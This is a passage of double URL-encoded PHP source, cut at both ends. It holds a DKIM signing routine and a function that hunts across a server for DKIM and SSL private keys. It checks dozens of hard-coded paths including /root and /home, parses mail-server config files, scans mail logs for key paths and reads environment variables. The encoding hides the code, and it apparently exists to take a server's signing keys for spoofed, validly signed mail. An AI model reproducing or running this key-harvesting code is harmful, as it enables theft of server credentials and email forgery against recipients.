in%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524header_list%2520%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524canon_body%2520%253D%2520%2524this-%253Ecanonicalize_body_relaxed%2528%2524body%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524bh%2520%253D%2520base64_encode%2528hash%2528%2527sha256%2527%252C%2520%2524canon_body%252C%2520true%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_header%2520%253D%2520%2522DKIM-Signature%253A%2520v%253D1%253B%2520a%253Drsa-sha256%253B%2520q%253Ddns/txt%253B%2520c%253Drelaxed/relaxed%253B%2520s%253D%257B%2524selector%257D%253B%2520d%253D%257B%2524domain%257D%253B%2520t%253D%257B%2524time%257D%253B%2520h%253D%257B%2524header_list%257D%253B%2520bh%253D%257B%2524bh%257D%253B%2520b%253D%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tmp_headers%2520%253D%2520%2524this-%253Emerge_headers_with_dkim%2528%2524headers%252C%2520%2524dkim_header%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520list%2528%2524canon_hdr_for_sign%252C%2520%2524_%2529%2520%253D%2520%2524this-%253Ecanonicalize_headers_relaxed%2528%2524tmp_headers%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524canon_hdr_for_sign%2520%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524key%2520%253D%2520%2540openssl_pkey_get_private%2528%2524private_key%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524key%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524signature%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524algo%2520%253D%2520defined%2528%2527OPENSSL_ALGO_SHA256%2527%2529%2520%253F%2520OPENSSL_ALGO_SHA256%2520%253A%25206%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540openssl_sign%2528%2524canon_hdr_for_sign%252C%2520%2524signature%252C%2520%2524key%252C%2520%2524algo%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528PHP_VERSION_ID%2520%253C%252080000%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540openssl_free_key%2528%2524key%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528PHP_VERSION_ID%2520%253C%252080000%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540openssl_free_key%2528%2524key%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524b64_signature%2520%253D%2520rtrim%2528chunk_split%2528base64_encode%2528%2524signature%2529%252C%252076%252C%2520%2527%2527%2529%252C%2520%2522%255Cn%2522%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_header_final%2520%253D%2520%2524dkim_header%2520.%2520%2524b64_signature%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final_headers%2520%253D%2520%2524this-%253Emerge_headers_with_dkim%2528%2524headers%252C%2520%2524dkim_header_final%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524final_headers%2520.%2520%2524this-%253Eeol%2520.%2520%2524this-%253Eeol%2520.%2520%2524body%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520find_dkim_key%2528%2524domain%252C%2520%2524selector%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524key_paths%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/dkim/private.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/dkimkeys/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/dkim/keys/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/opendkim/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/mail/dkim/%257B%2524domain%257D.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/mail/dkim/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/db/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/mail/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/mail/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/opt/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/opt/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/dkim/keys/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/dkim/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/mail/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/mail/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/user/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/user/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/root/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/root/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/ssl/private/%257B%2524domain%257D.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/ssl/private/%257B%2524selector%257D.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/exim4/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/postfix/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/spool/postfix/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/spool/exim/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/exim/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/postfix/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/amavis/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/rspamd/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/pmta/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/amavis/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/rspamd/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/pmta/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524key_paths%2520as%2520%2524kp%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524kp%2529%2520%2526%2526%2520%2540is_readable%2528%2524kp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524kp%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524config_files%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/opendkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/opendkim/opendkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/etc/opendkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/exim4/exim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/exim/exim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/etc/exim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/mail/dkim-milter.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/dkim/dkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/amavis/conf.d/50-user%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/rspamd/local.d/dkim_signing.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/pmta/config%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524config_files%2520as%2520%2524configPath%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524configPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524configPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524config%2520%253D%2520%2540file_get_contents%2528%2524configPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524config%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528preg_match%2528%2527/KeyFile%255Cs%252B%2528.%252A%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/dkim_private_key%255Cs%252A%253D%255Cs%252A%2528.%252A%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/dkim_key%255Cs%252A%255C%2528.%252A%252C%255Cs%252A%255B%255C%2527%2522%255D%2528.%252A%2529%255B%255C%2527%2522%255D%255Cs%252A%255C%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/path%255Cs%252A%253D%255Cs%252A%255B%255C%2527%2522%255D%2528.%252A%2529%255B%255C%2527%2522%255D/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/key-file%255Cs%252A%253D%255Cs%252A%2528.%252A%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524log_files%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/mail.log%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/syslog%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/opendkim.log%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/var/log/exim/mainlog%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524log_files%2520as%2520%2524logFile%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524logFile%2529%2520%2526%2526%2520%2540is_readable%2528%2524logFile%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524logContent%2520%253D%2520%2540file_get_contents%2528%2524logFile%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524logContent%2520%2521%253D%253D%2520false%2520%2526%2526%2520preg_match%2528%2527/loading%2520key%2520from%255Cs%252B%2528.%252A%2529/%2527%252C%2520%2524logContent%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524env_vars%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527DKIM_PRIVATE_KEY%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527OPENDKIM_KEYFILE%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527EXIM_DKIM_KEY%2527%2